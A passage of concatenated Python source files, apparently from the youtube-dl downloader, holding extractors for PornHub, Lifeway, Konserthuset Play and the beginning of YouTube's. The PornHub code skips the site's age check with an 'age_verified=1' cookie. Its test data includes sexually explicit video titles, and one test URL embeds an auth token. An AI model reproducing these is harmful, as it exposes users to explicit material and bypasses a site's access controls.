        redirect_url = self._search_regex(
            r'<script[^>]+?src="([^"]+)"', login_page, 'login redirect url')
        self._download_webpage(redirect_url, None, False)

    def _real_initialize(self):
        self._login()

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        m = re.search(r'You must be logged in to view this video\.', webpage)
        if m:
            self.raise_login_required('This video requires login')

        video_id = self._search_regex(
            [r"glbUpdViews\s*\('\d*','(\d+)'", r'p/report/video/(\d+)'],
            webpage, 'video id', default=None)

        video_url = unescapeHTML(self._search_regex(
            r'<source src="([^"]+)', webpage, 'video url'))
        title = self._html_search_regex(
            r'Title:</th><td>([^<]+)</td>', webpage, 'title')
        thumbnail = self._search_regex(
            r'onclick="showVideoPlayer\(\)"><img src="([^"]+)',
            webpage, 'thumbnail', fatal=False)

        return {
            'id': video_id,
            'display_id': display_id,
            'url': video_url,
            'title': title,
            'thumbnail': thumbnail,
            'age_limit': 18,
        }






# coding: utf-8
from __future__ import unicode_literals

import itertools
import os
import re

from .common import InfoExtractor
from ..compat import (
    compat_HTTPError,
    compat_urllib_parse_unquote,
    compat_urllib_parse_unquote_plus,
    compat_urllib_parse_urlparse,
)
from ..utils import (
    ExtractorError,
    int_or_none,
    orderedSet,
    sanitized_Request,
    str_to_int,
)
from ..aes import (
    aes_decrypt_text
)


class PornHubIE(InfoExtractor):
    IE_DESC = 'PornHub and Thumbzilla'
    _VALID_URL = r'''(?x)
                    https?://
                        (?:
                            (?:[a-z]+\.)?pornhub\.com/(?:view_video\.php\?viewkey=|embed/)|
                            (?:www\.)?thumbzilla\.com/video/
                        )
                        (?P<id>[0-9a-z]+)
                    '''
    _TESTS = [{
        'url': 'http://www.pornhub.com/view_video.php?viewkey=648719015',
        'md5': '1e19b41231a02eba417839222ac9d58e',
        'info_dict': {
            'id': '648719015',
            'ext': 'mp4',
            'title': 'Seductive Indian beauty strips down and fingers her pink pussy',
            'uploader': 'Babes',
            'duration': 361,
            'view_count': int,
            'like_count': int,
            'dislike_count': int,
            'comment_count': int,
            'age_limit': 18,
        },
    }, {
        # non-ASCII title
        'url': 'http://www.pornhub.com/view_video.php?viewkey=1331683002',
        'info_dict': {
            'id': '1331683002',
            'ext': 'mp4',
            'title': '重庆婷婷女王足交',
            'uploader': 'cj397186295',
            'duration': 1753,
            'view_count': int,
            'like_count': int,
            'dislike_count': int,
            'comment_count': int,
            'age_limit': 18,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://www.pornhub.com/view_video.php?viewkey=ph557bbb6676d2d',
        'only_matching': True,
    }, {
        # removed at the request of cam4.com
        'url': 'http://fr.pornhub.com/view_video.php?viewkey=ph55ca2f9760862',
        'only_matching': True,
    }, {
        # removed at the request of the copyright owner
        'url': 'http://www.pornhub.com/view_video.php?viewkey=788152859',
        'only_matching': True,
    }, {
        # removed by uploader
        'url': 'http://www.pornhub.com/view_video.php?viewkey=ph572716d15a111',
        'only_matching': True,
    }, {
        # private video
        'url': 'http://www.pornhub.com/view_video.php?viewkey=ph56fd731fce6b7',
        'only_matching': True,
    }, {
        'url': 'https://www.thumbzilla.com/video/ph56c6114abd99a/horny-girlfriend-sex',
        'only_matching': True,
    }]

    @classmethod
    def _extract_url(cls, webpage):
        mobj = re.search(
            r'<iframe[^>]+?src=(["\'])(?P<url>(?:https?:)?//(?:www\.)?pornhub\.com/embed/\d+)\1', webpage)
        if mobj:
            return mobj.group('url')

    def _extract_count(self, pattern, webpage, name):
        return str_to_int(self._search_regex(
            pattern, webpage, '%s count' % name, fatal=False))

    def _real_extract(self, url):
        video_id = self._match_id(url)

        req = sanitized_Request(
            'http://www.pornhub.com/view_video.php?viewkey=%s' % video_id)
        req.add_header('Cookie', 'age_verified=1')
        webpage = self._download_webpage(req, video_id)

        error_msg = self._html_search_regex(
            r'(?s)<div[^>]+class=(["\'])(?:(?!\1).)*\b(?:removed|userMessageSection)\b(?:(?!\1).)*\1[^>]*>(?P<error>.+?)</div>',
            webpage, 'error message', default=None, group='error')
        if error_msg:
            error_msg = re.sub(r'\s+', ' ', error_msg)
            raise ExtractorError(
                'PornHub said: %s' % error_msg,
                expected=True, video_id=video_id)

        # video_title from flashvars contains whitespace instead of non-ASCII (see
        # http://www.pornhub.com/view_video.php?viewkey=1331683002), not relying
        # on that anymore.
        title = self._html_search_meta(
            'twitter:title', webpage, default=None) or self._search_regex(
            (r'<h1[^>]+class=["\']title["\'][^>]*>(?P<title>[^<]+)',
             r'<div[^>]+data-video-title=(["\'])(?P<title>.+?)\1',
             r'shareTitle\s*=\s*(["\'])(?P<title>.+?)\1'),
            webpage, 'title', group='title')

        flashvars = self._parse_json(
            self._search_regex(
                r'var\s+flashvars_\d+\s*=\s*({.+?});', webpage, 'flashvars', default='{}'),
            video_id)
        if flashvars:
            thumbnail = flashvars.get('image_url')
            duration = int_or_none(flashvars.get('video_duration'))
        else:
            title, thumbnail, duration = [None] * 3

        video_uploader = self._html_search_regex(
            r'(?s)From:&nbsp;.+?<(?:a href="/users/|a href="/channels/|span class="username)[^>]+>(.+?)<',
            webpage, 'uploader', fatal=False)

        view_count = self._extract_count(
            r'<span class="count">([\d,\.]+)</span> views', webpage, 'view')
        like_count = self._extract_count(
            r'<span class="votesUp">([\d,\.]+)</span>', webpage, 'like')
        dislike_count = self._extract_count(
            r'<span class="votesDown">([\d,\.]+)</span>', webpage, 'dislike')
        comment_count = self._extract_count(
            r'All Comments\s*<span>\(([\d,.]+)\)', webpage, 'comment')

        video_urls = list(map(compat_urllib_parse_unquote, re.findall(r"player_quality_[0-9]{3}p\s*=\s*'([^']+)'", webpage)))
        if webpage.find('"encrypted":true') != -1:
            password = compat_urllib_parse_unquote_plus(
                self._search_regex(r'"video_title":"([^"]+)', webpage, 'password'))
            video_urls = list(map(lambda s: aes_decrypt_text(s, password, 32).decode('utf-8'), video_urls))

        formats = []
        for video_url in video_urls:
            path = compat_urllib_parse_urlparse(video_url).path
            extension = os.path.splitext(path)[1][1:]
            format = path.split('/')[5].split('_')[:2]
            format = '-'.join(format)

            m = re.match(r'^(?P<height>[0-9]+)[pP]-(?P<tbr>[0-9]+)[kK]$', format)
            if m is None:
                height = None
                tbr = None
            else:
                height = int(m.group('height'))
                tbr = int(m.group('tbr'))

            formats.append({
                'url': video_url,
                'ext': extension,
                'format': format,
                'format_id': format,
                'tbr': tbr,
                'height': height,
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'uploader': video_uploader,
            'title': title,
            'thumbnail': thumbnail,
            'duration': duration,
            'view_count': view_count,
            'like_count': like_count,
            'dislike_count': dislike_count,
            'comment_count': comment_count,
            'formats': formats,
            'age_limit': 18,
        }


class PornHubPlaylistBaseIE(InfoExtractor):
    def _extract_entries(self, webpage):
        return [
            self.url_result(
                'http://www.pornhub.com/%s' % video_url,
                PornHubIE.ie_key(), video_title=title)
            for video_url, title in orderedSet(re.findall(
                r'href="/?(view_video\.php\?.*\bviewkey=[\da-z]+[^"]*)"[^>]*\s+title="([^"]+)"',
                webpage))
        ]

    def _real_extract(self, url):
        playlist_id = self._match_id(url)

        webpage = self._download_webpage(url, playlist_id)

        entries = self._extract_entries(webpage)

        playlist = self._parse_json(
            self._search_regex(
                r'playlistObject\s*=\s*({.+?});', webpage, 'playlist'),
            playlist_id)

        return self.playlist_result(
            entries, playlist_id, playlist.get('title'), playlist.get('description'))


class PornHubPlaylistIE(PornHubPlaylistBaseIE):
    _VALID_URL = r'https?://(?:www\.)?pornhub\.com/playlist/(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://www.pornhub.com/playlist/6201671',
        'info_dict': {
            'id': '6201671',
            'title': 'P0p4',
        },
        'playlist_mincount': 35,
    }]


class PornHubUserVideosIE(PornHubPlaylistBaseIE):
    _VALID_URL = r'https?://(?:www\.)?pornhub\.com/users/(?P<id>[^/]+)/videos'
    _TESTS = [{
        'url': 'http://www.pornhub.com/users/zoe_ph/videos/public',
        'info_dict': {
            'id': 'zoe_ph',
        },
        'playlist_mincount': 171,
    }, {
        'url': 'http://www.pornhub.com/users/rushandlia/videos',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        user_id = self._match_id(url)

        entries = []
        for page_num in itertools.count(1):
            try:
                webpage = self._download_webpage(
                    url, user_id, 'Downloading page %d' % page_num,
                    query={'page': page_num})
            except ExtractorError as e:
                if isinstance(e.cause, compat_HTTPError) and e.cause.code == 404:
                    break
            page_entries = self._extract_entries(webpage)
            if not page_entries:
                break
            entries.extend(page_entries)

        return self.playlist_result(entries, user_id)






from __future__ import unicode_literals

from .common import InfoExtractor


class TDSLifewayIE(InfoExtractor):
    _VALID_URL = r'https?://tds\.lifeway\.com/v1/trainingdeliverysystem/courses/(?P<id>\d+)/index\.html'

    _TEST = {
        # From http://www.ministrygrid.com/training-viewer/-/training/t4g-2014-conference/the-gospel-by-numbers-4/the-gospel-by-numbers
        'url': 'http://tds.lifeway.com/v1/trainingdeliverysystem/courses/3453494717001/index.html?externalRegistration=AssetId%7C34F466F1-78F3-4619-B2AB-A8EFFA55E9E9%21InstanceId%7C0%21UserId%7Caaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa&grouping=http%3A%2F%2Flifeway.com%2Fvideo%2F3453494717001&activity_id=http%3A%2F%2Flifeway.com%2Fvideo%2F3453494717001&content_endpoint=http%3A%2F%2Ftds.lifeway.com%2Fv1%2Ftrainingdeliverysystem%2FScormEngineInterface%2FTCAPI%2Fcontent%2F&actor=%7B%22name%22%3A%5B%22Guest%20Guest%22%5D%2C%22account%22%3A%5B%7B%22accountServiceHomePage%22%3A%22http%3A%2F%2Fscorm.lifeway.com%2F%22%2C%22accountName%22%3A%22aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa%22%7D%5D%2C%22objectType%22%3A%22Agent%22%7D&content_token=462a50b2-b6f9-4970-99b1-930882c499fb&registration=93d6ec8e-7f7b-4ed3-bbc8-a857913c0b2a&externalConfiguration=access%7CFREE%21adLength%7C-1%21assignOrgId%7C4AE36F78-299A-425D-91EF-E14A899B725F%21assignOrgParentId%7C%21courseId%7C%21isAnonymous%7Cfalse%21previewAsset%7Cfalse%21previewLength%7C-1%21previewMode%7Cfalse%21royalty%7CFREE%21sessionId%7C671422F9-8E79-48D4-9C2C-4EE6111EA1CD%21trackId%7C&auth=Basic%20OjhmZjk5MDBmLTBlYTMtNDJhYS04YjFlLWE4MWQ3NGNkOGRjYw%3D%3D&endpoint=http%3A%2F%2Ftds.lifeway.com%2Fv1%2Ftrainingdeliverysystem%2FScormEngineInterface%2FTCAPI%2F',
        'info_dict': {
            'id': '3453494717001',
            'ext': 'mp4',
            'title': 'The Gospel by Numbers',
            'thumbnail': 're:^https?://.*\.jpg',
            'upload_date': '20140410',
            'description': 'Coming soon from T4G 2014!',
            'uploader_id': '2034960640001',
            'timestamp': 1397145591,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
        'add_ie': ['BrightcoveNew'],
    }

    BRIGHTCOVE_URL_TEMPLATE = 'http://players.brightcove.net/2034960640001/default_default/index.html?videoId=%s'

    def _real_extract(self, url):
        brightcove_id = self._match_id(url)
        return self.url_result(self.BRIGHTCOVE_URL_TEMPLATE % brightcove_id, 'BrightcoveNew', brightcove_id)






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    float_or_none,
    int_or_none,
)


class KonserthusetPlayIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?konserthusetplay\.se/\?.*\bm=(?P<id>[^&]+)'
    _TEST = {
        'url': 'http://www.konserthusetplay.se/?m=CKDDnlCY-dhWAAqiMERd-A',
        'info_dict': {
            'id': 'CKDDnlCY-dhWAAqiMERd-A',
            'ext': 'flv',
            'title': 'Orkesterns instrument: Valthornen',
            'description': 'md5:f10e1f0030202020396a4d712d2fa827',
            'thumbnail': 're:^https?://.*$',
            'duration': 398.8,
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        e = self._search_regex(
            r'https?://csp\.picsearch\.com/rest\?.*\be=(.+?)[&"\']', webpage, 'e')

        rest = self._download_json(
            'http://csp.picsearch.com/rest?e=%s&containerId=mediaplayer&i=object' % e,
            video_id, transform_source=lambda s: s[s.index('{'):s.rindex('}') + 1])

        media = rest['media']
        player_config = media['playerconfig']
        playlist = player_config['playlist']

        source = next(f for f in playlist if f.get('bitrates'))

        FORMAT_ID_REGEX = r'_([^_]+)_h264m\.mp4'

        formats = []

        fallback_url = source.get('fallbackUrl')
        fallback_format_id = None
        if fallback_url:
            fallback_format_id = self._search_regex(
                FORMAT_ID_REGEX, fallback_url, 'format id', default=None)

        connection_url = (player_config.get('rtmp', {}).get(
            'netConnectionUrl') or player_config.get(
            'plugins', {}).get('bwcheck', {}).get('netConnectionUrl'))
        if connection_url:
            for f in source['bitrates']:
                video_url = f.get('url')
                if not video_url:
                    continue
                format_id = self._search_regex(
                    FORMAT_ID_REGEX, video_url, 'format id', default=None)
                f_common = {
                    'vbr': int_or_none(f.get('bitrate')),
                    'width': int_or_none(f.get('width')),
                    'height': int_or_none(f.get('height')),
                }
                f = f_common.copy()
                f.update({
                    'url': connection_url,
                    'play_path': video_url,
                    'format_id': 'rtmp-%s' % format_id if format_id else 'rtmp',
                    'ext': 'flv',
                })
                formats.append(f)
                if format_id and format_id == fallback_format_id:
                    f = f_common.copy()
                    f.update({
                        'url': fallback_url,
                        'format_id': 'http-%s' % format_id if format_id else 'http',
                    })
                    formats.append(f)

        if not formats and fallback_url:
            formats.append({
                'url': fallback_url,
            })

        self._sort_formats(formats)

        title = player_config.get('title') or media['title']
        description = player_config.get('mediaInfo', {}).get('description')
        thumbnail = media.get('image')
        duration = float_or_none(media.get('duration'), 1000)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'formats': formats,
        }






# coding: utf-8

from __future__ import unicode_literals


import itertools
import json
import os.path
import random
import re
import time
import traceback

from .common import InfoExtractor, SearchInfoExtractor
from ..jsinterp import JSInterpreter
from ..swfinterp import SWFInterpreter
from ..compat import (
    compat_chr,
    compat_parse_qs,
    compat_urllib_parse_unquote,
    compat_urllib_parse_unquote_plus,
    compat_urllib_parse_urlencode,
    compat_urllib_parse_urlparse,
    compat_urlparse,
    compat_str,
)
from ..utils import (
    clean_html,
    error_to_compat_str,
    ExtractorError,
    float_or_none,
    get_element_by_attribute,
    get_element_by_id,
    int_or_none,
    mimetype2ext,
    orderedSet,
    parse_duration,
    remove_quotes,
    remove_start,
    sanitized_Request,
    smuggle_url,
    str_to_int,
    unescapeHTML,
    unified_strdate,
    unsmuggle_url,
    uppercase_escape,
    urlencode_postdata,
    ISO3166Utils,
)


class YoutubeBaseInfoExtractor(InfoExtractor):
    """Provide base functions for Youtube extractors"""
    _LOGIN_URL = 'https://accounts.google.com/ServiceLogin'
    _TWOFACTOR_URL = 'https://accounts.google.com/signin/challenge'
    _PASSWORD_CHALLENGE_URL = 'https://accounts.google.com/signin/challenge/sl/password'
    _NETRC_MACHINE = 'youtube'
    # If True it will raise an error if no login info is provided
    _LOGIN_REQUIRED = False

    def _set_language(self):
        self._set_cookie(
            '.youtube.com', 'PREF', 'f1=50000000&hl=en',
            # YouTube sets the expire time to about two months
            expire_time=time.time() + 2 * 30 * 24 * 3600)

    def _ids_to_results(self, ids):
        return [
            self.url_result(vid_id, 'Youtube', video_id=vid_id)
            for vid_id in ids]

    def _login(self):
        """
        Attempt to log in to YouTube.
        True is returned if successful or skipped.
        False is returned if login failed.

        If _LOGIN_REQUIRED is set and no authentication was provided, an error is raised.
        """
        (username, password) = self._get_login_info()
        # No authentication to be performed
        if username is None:
            if self._LOGIN_REQUIRED:
                raise ExtractorError('No login info available, needed for using %s.' % self.IE_NAME, expected=True)
            return True

        login_page = self._download_webpage(
            self._LOGIN_URL, None,
            note='Downloading login page',
            errnote='unable to fetch login page', fatal=False)
        if login_page is False:
            return

        login_form = self._hidden_inputs(login_page)

        login_form.update({
            'checkConnection': 'youtube',
            'Email': username,
            'Passwd': password,
        })

        login_results = self._download_webpage(
            self._PASSWORD_CHALLENGE_URL, None,
            note='Logging in', errnote='unable to log in', fatal=False,
            data=urlencode_postdata(login_form))
        if login_results is False:
            return False

        error_msg = self._html_search_regex(
            r'<[^>]+id="errormsg_0_Passwd"[^>]*>([^<]+)<',
            login_results, 'error message', default=None)
        if error_msg:
            raise ExtractorError('Unable to login: %s' % error_msg, expected=True)

        if re.search(r'id="errormsg_0_Passwd"', login_results) is not None:
            raise ExtractorError('Please use your account password and a two-factor code instead of an application-specific password.', expected=True)

        # Two-Factor
        # TODO add SMS and phone call support - these require making a request and then prompting the user

        if re.search(r'(?i)<form[^>]+id="challenge"', login_results) is not None:
            tfa_code = self._get_tfa_info('2-step verification code')

            if not tfa_code:
                self._downloader.report_warning(
                    'Two-factor authentication required. Provide it either interactively or with --twofactor <code>'
                    '(Note that only TOTP (Google Authenticator App) codes work at this time.)')
                return False

            tfa_code = remove_start(tfa_code, 'G-')

            tfa_form_strs = self._form_hidden_inputs('challenge', login_results)

            tfa_form_strs.update({
                'Pin': tfa_code,
                'TrustDevice': 'on',
            })

            tfa_data = urlencode_postdata(tfa_form_strs)

            tfa_req = sanitized_Request(self._TWOFACTOR_URL, tfa_data)
            tfa_results = self._download_webpage(
                tfa_req, None,
                note='Submitting TFA code', errnote='unable to submit tfa', fatal=False)

            if tfa_results is False:
                return False

            if re.search(r'(?i)<form[^>]+id="challenge"', tfa_results) is not None:
                self._downloader.report_warning('Two-factor code expired or invalid. Please try again, or use a one-use backup code instead.')
                return False
            if re.search(r'(?i)<form[^>]+id="gaia_loginform"', tfa_results) is not None:
                self._downloader.report_warning('unable to log in - did the page structure change?')
                return False
            if re.search(r'smsauth-interstitial-reviewsettings', tfa_results) is not None:
                self._downloader.report_warning('Your Google account has a security notice. Please log in on your web browser, resolve the notice, and try again.')
                return False

        if re.search(r'(?i)<form[^>]+id="gaia_loginform"', login_results) is not None:
            self._downloader.report_warning('unable to log in: bad username or password')
            return False
        return True

    def _real_initialize(self):
        if self._downloader is None:
            return
        self._set_language()
        if not self._login():
            return


class YoutubeEntryListBaseInfoExtractor(YoutubeBaseInfoExtractor):
    # Extract entries from page with "Load more" button
    def _entries(self, page, playlist_id):
        more_widget_html = content_html = page
        for page_num in itertools.count(1):
            for entry in self._process_page(content_html):
                yield entry

            mobj = re.search(r'data-uix-load-more-href="/?(?P<more>[^"]+)"', more_widget_html)
            if not mobj:
                break

            more = self._download_json(
                'https://youtube.com/%s' % mobj.group('more'), playlist_id,
                'Downloading page #%s' % page_num,
                transform_source=uppercase_escape)
            content_html = more['content_html']
            if not content_html.strip():
                # Some webpages show a "Load more" button but they don't
                # have more videos
                break
            more_widget_html = more['load_more_widget_html']


class YoutubePlaylistBaseInfoExtractor(YoutubeEntryListBaseInfoExtractor):
    def _process_page(self, content):
        for video_id, video_title in self.extract_videos_from_page(content):
            yield self.url_result(video_id, 'Youtube', video_id, video_title)

    def extract_videos_from_page(self, page):
        ids_in_page = []
        titles_in_page = []
        for mobj in re.finditer(self._VIDEO_RE, page):
            # The link with index 0 is not the first video of the playlist (not sure if still actual)
            if 'index' in mobj.groupdict() and mobj.group('id') == '0':
                continue
            video_id = mobj.group('id')
            video_title = unescapeHTML(mobj.group('title'))
            if video_title:
                video_title = video_title.strip()
            try:
                idx = ids_in_page.index(video_id)
                if video_title and not titles_in_page[idx]:
                    titles_in_page[idx] = video_title
            except ValueError:
                ids_in_page.append(video_id)
                titles_in_page.append(video_title)
        return zip(ids_in_page, titles_in_page)


class YoutubePlaylistsBaseInfoExtractor(YoutubeEntryListBaseInfoExtractor):
    def _process_page(self, content):
        for playlist_id in orderedSet(re.findall(
                r'<h3[^>]+class="[^"]*yt-lockup-title[^"]*"[^>]*><a[^>]+href="/?playlist\?list=([0-9A-Za-z-_]{10,})"',
                content)):
            yield self.url_result(
                'https://www.youtube.com/playlist?list=%s' % playlist_id, 'YoutubePlaylist')

    def _real_extract(self, url):
        playlist_id = self._match_id(url)
        webpage = self._download_webpage(url, playlist_id)
        title = self._og_search_title(webpage, fatal=False)
        return self.playlist_result(self._entries(webpage, playlist_id), playlist_id, title)


class YoutubeIE(YoutubeBaseInfoExtractor):
    IE_DESC = 'YouTube.com'
    _VALID_URL = r"""(?x)^
                     (
                         (?:https?://|//)                                    # http(s):// or protocol-independent URL
                         (?:(?:(?:(?:\w+\.)?[yY][oO][uU][tT][uU][bB][eE](?:-nocookie)?\.com/|
                            (?:www\.)?deturl\.com/www\.youtube\.com/|
                            (?:www\.)?pwnyoutube\.com/|
                            (?:www\.)?yourepeat\.com/|
                            tube\.majestyc\.net/|
                            youtube\.googleapis\.com/)                        # the various hostnames, with wildcard subdomains
                         (?:.*?\#/)?                                          # handle anchor (#/) redirect urls
                         (?:                                                  # the various things that can precede the ID:
                             (?:(?:v|embed|e)/(?!videoseries))                # v/ or embed/ or e/
                             |(?:                                             # or the v= param in all its forms
                                 (?:(?:watch|movie)(?:_popup)?(?:\.php)?/?)?  # preceding watch(_popup|.php) or nothing (like /?v=xxxx)
                                 (?:\?|\#!?)                                  # the params delimiter ? or # or #!
                                 (?:.*?[&;])??                                # any other preceding param (like /?s=tuff&v=xxxx or ?s=tuff&amp;v=V36LpHqtcDY)
                                 v=
                             )
                         ))
                         |(?:
                            youtu\.be|                                        # just youtu.be/xxxx
                            vid\.plus|                                        # or vid.plus/xxxx
                            zwearz\.com/watch|                                # or zwearz.com/watch/xxxx
                         )/
                         |(?:www\.)?cleanvideosearch\.com/media/action/yt/watch\?videoId=
                         )
                     )?                                                       # all until now is optional -> you can pass the naked ID
                     ([0-9A-Za-z_-]{11})                                      # here is it! the YouTube video ID
                     (?!.*?&list=)                                            # combined list/video URLs are handled by the playlist IE
                     (?(1).+)?                                                # if we found the ID, everything can follow
                     $"""
    _NEXT_URL_RE = r'[\?&]next_url=([^&]+)'
    _formats = {
        '5': {'ext': 'flv', 'width': 400, 'height': 240, 'acodec': 'mp3', 'abr': 64, 'vcodec': 'h263'},
        '6': {'ext': 'flv', 'width': 450, 'height': 270, 'acodec': 'mp3', 'abr': 64, 'vcodec': 'h263'},
        '13': {'ext': '3gp', 'acodec': 'aac', 'vcodec': 'mp4v'},
        '17': {'ext': '3gp', 'width': 176, 'height': 144, 'acodec': 'aac', 'abr': 24, 'vcodec': 'mp4v'},
        '18': {'ext': 'mp4', 'width': 640, 'height': 360, 'acodec': 'aac', 'abr': 96, 'vcodec': 'h264'},
        '22': {'ext': 'mp4', 'width': 1280, 'height': 720, 'acodec': 'aac', 'abr': 192, 'vcodec': 'h264'},
        '34': {'ext': 'flv', 'width': 640, 'height': 360, 'acodec': 'aac', 'abr': 128, 'vcodec': 'h264'},
        '35': {'ext': 'flv', 'width': 854, 'height': 480, 'acodec': 'aac', 'abr': 128, 'vcodec': 'h264'},
        # itag 36 videos are either 320x180 (BaW_jenozKc) or 320x240 (__2ABJjxzNo), abr varies as well
        '36': {'ext': '3gp', 'width': 320, 'acodec': 'aac', 'vcodec': 'mp4v'},
        '37': {'ext': 'mp4', 'width': 1920, 'height': 1080, 'acodec': 'aac', 'abr': 192, 'vcodec': 'h264'},
        '38': {'ext': 'mp4', 'width': 4096, 'height': 3072, 'acodec': 'aac', 'abr': 192, 'vcodec': 'h264'},
        '43': {'ext': 'webm', 'width': 640, 'height': 360, 'acodec': 'vorbis', 'abr': 128, 'vcodec': 'vp8'},
        '44': {'ext': 'webm', 'width': 854, 'height': 480, 'acodec': 'vorbis', 'abr': 128, 'vcodec': 'vp8'},
        '45': {'ext': 'webm', 'width': 1280, 'height': 720, 'acodec': 'vorbis', 'abr': 192, 'vcodec': 'vp8'},
        '46': {'ext': 'webm', 'width': 1920, 'height': 1080, 'acodec': 'vorbis', 'abr': 192, 'vcodec': 'vp8'},
        '59': {'ext': 'mp4', 'width': 854, 'height': 480, 'acodec': 'aac', 'abr': 128, 'vcodec': 'h264'},
        '78': {'ext': 'mp4', 'width': 854, 'height': 480, 'acodec': 'aac', 'abr': 128, 'vcodec': 'h264'},


        # 3D videos
        '82': {'ext': 'mp4', 'height': 360, 'format_note': '3D', 'acodec': 'aac', 'abr': 128, 'vcodec': 'h264', 'preference': -20},
        '83': {'ext': 'mp4', 'height': 480, 'format_note': '3D', 'acodec': 'aac', 'abr': 128, 'vcodec': 'h264', 'preference': -20},
        '84': {'ext': 'mp4', 'height': 720, 'format_note': '3D', 'acodec': 'aac', 'abr': 192, 'vcodec': 'h264', 'preference': -20},
        '85': {'ext': 'mp4', 'height': 1080, 'format_note': '3D', 'acodec': 'aac', 'abr': 192, 'vcodec': 'h264', 'preference': -20},
        '100': {'ext': 'webm', 'height': 360, 'format_note': '3D', 'acodec': 'vorbis', 'abr': 128, 'vcodec': 'vp8', 'preference': -20},
        '101': {'ext': 'webm', 'height': 480, 'format_note': '3D', 'acodec': 'vorbis', 'abr': 192, 'vcodec': 'vp8', 'preference': -20},
        '102': {'ext': 'webm', 'height': 720, 'format_note': '3D', 'acodec': 'vorbis', 'abr': 192, 'vcodec': 'vp8', 'preference': -20},

        # Apple HTTP Live Streaming
        '91': {'ext': 'mp4', 'height': 144, 'format_note': 'HLS', 'acodec': 'aac', 'abr': 48, 'vcodec': 'h264', 'preference': -10},
        '92': {'ext': 'mp4', 'height': 240, 'format_note': 'HLS', 'acodec': 'aac', 'abr': 48, 'vcodec': 'h264', 'preference': -10},
        '93': {'ext': 'mp4', 'height': 360, 'format_note': 'HLS', 'acodec': 'aac', 'abr': 128, 'vcodec': 'h264', 'preference': -10},
        '94': {'ext': 'mp4', 'height': 480, 'format_note': 'HLS', 'acodec': 'aac', 'abr': 128, 'vcodec': 'h264', 'preference': -10},
        '95': {'ext': 'mp4', 'height': 720, 'format_note': 'HLS', 'acodec': 'aac', 'abr': 256, 'vcodec': 'h264', 'preference': -10},
        '96': {'ext': 'mp4', 'height': 1080, 'format_note': 'HLS', 'acodec': 'aac', 'abr': 256, 'vcodec': 'h264', 'preference': -10},
        '132': {'ext': 'mp4', 'height': 240, 'format_note': 'HLS', 'acodec': 'aac', 'abr': 48, 'vcodec': 'h264', 'preference': -10},
        '151': {'ext': 'mp4', 'height': 72, 'format_note': 'HLS', 'acodec': 'aac', 'abr': 24, 'vcodec': 'h264', 'preference': -10},

        # DASH mp4 video
        '133': {'ext': 'mp4', 'height': 240, 'format_note': 'DASH video', 'vcodec': 'h264', 'preference': -40},
        '134': {'ext': 'mp4', 'height': 360, 'format_note': 'DASH video', 'vcodec': 'h264', 'preference': -40},
        '135': {'ext': 'mp4', 'height': 480, 'format_note': 'DASH video', 'vcodec': 'h264', 'preference': -40},
        '136': {'ext': 'mp4', 'height': 720, 'format_note': 'DASH video', 'vcodec': 'h264', 'preference': -40},
        '137': {'ext': 'mp4', 'height': 1080, 'format_note': 'DASH video', 'vcodec': 'h264', 'preference': -40},
        '138': {'ext': 'mp4', 'format_note': 'DASH video', 'vcodec': 'h264', 'preference': -40},  # Height can vary (https://github.com/rg3/youtube-dl/issues/4559)
        '160': {'ext': 'mp4', 'height': 144, 'format_note': 'DASH video', 'vcodec': 'h264', 'preference': -40},
        '264': {'ext': 'mp4', 'height': 1440, 'format_note': 'DASH video', 'vcodec': 'h264', 'preference': -40},
        '298': {'ext': 'mp4', 'height': 720, 'format_note': 'DASH video', 'vcodec': 'h264', 'fps': 60, 'preference': -40},
        '299': {'ext': 'mp4', 'height': 1080, 'format_note': 'DASH video', 'vcodec': 'h264', 'fps': 60, 'preference': -40},
        '266': {'ext': 'mp4', 'height': 2160, 'format_note': 'DASH video', 'vcodec': 'h264', 'preference': -40},

        # Dash mp4 audio
        '139': {'ext': 'm4a', 'format_note': 'DASH audio', 'acodec': 'aac', 'abr': 48, 'preference': -50, 'container': 'm4a_dash'},
        '140': {'ext': 'm4a', 'format_note': 'DASH audio', 'acodec': 'aac', 'abr': 128, 'preference': -50, 'container': 'm4a_dash'},
        '141': {'ext': 'm4a', 'format_note': 'DASH audio', 'acodec': 'aac', 'abr': 256, 'preference': -50, 'container': 'm4a_dash'},
        '256': {'ext': 'm4a', 'format_note': 'DASH audio', 'acodec': 'aac', 'preference': -50, 'container': 'm4a_dash'},
        '258': {'ext': 'm4a', 'format_note': 'DASH audio', 'acodec': 'aac', 'preference': -50, 'container': 'm4a_dash'},

        # Dash webm
        '167': {'ext': 'webm', 'height': 360, 'width': 640, 'format_note': 'DASH video', 'container': 'webm', 'vcodec': 'vp8', 'preference': -40},
        '168': {'ext': 'webm', 'height': 480, 'width': 854, 'format_note': 'DASH video', 'container': 'webm', 'vcodec': 'vp8', 'preference': -40},
        '169': {'ext': 'webm', 'height': 720, 'width': 1280, 'format_note': 'DASH video', 'container': 'webm', 'vcodec': 'vp8', 'preference': -40},
        '170': {'ext': 'webm', 'height': 1080, 'width': 1920, 'format_note': 'DASH video', 'container': 'webm', 'vcodec': 'vp8', 'preference': -40},
        '218': {'ext': 'webm', 'height': 480, 'width': 854, 'format_note': 'DASH video', 'container': 'webm', 'vcodec': 'vp8', 'preference': -40},
        '219': {'ext': 'webm', 'height': 480, 'width': 854, 'format_note': 'DASH video', 'container': 'webm', 'vcodec': 'vp8', 'preference': -40},
        '278': {'ext': 'webm', 'height': 144, 'format_note': 'DASH video', 'container': 'webm', 'vcodec': 'vp9', 'preference': -40},
        '242': {'ext': 'webm', 'height': 240, 'format_note': 'DASH video', 'vcodec': 'vp9', 'preference': -40},
        '243': {'ext': 'webm', 'height': 360, 'format_note': 'DASH video', 'vcodec': 'vp9', 'preference': -40},
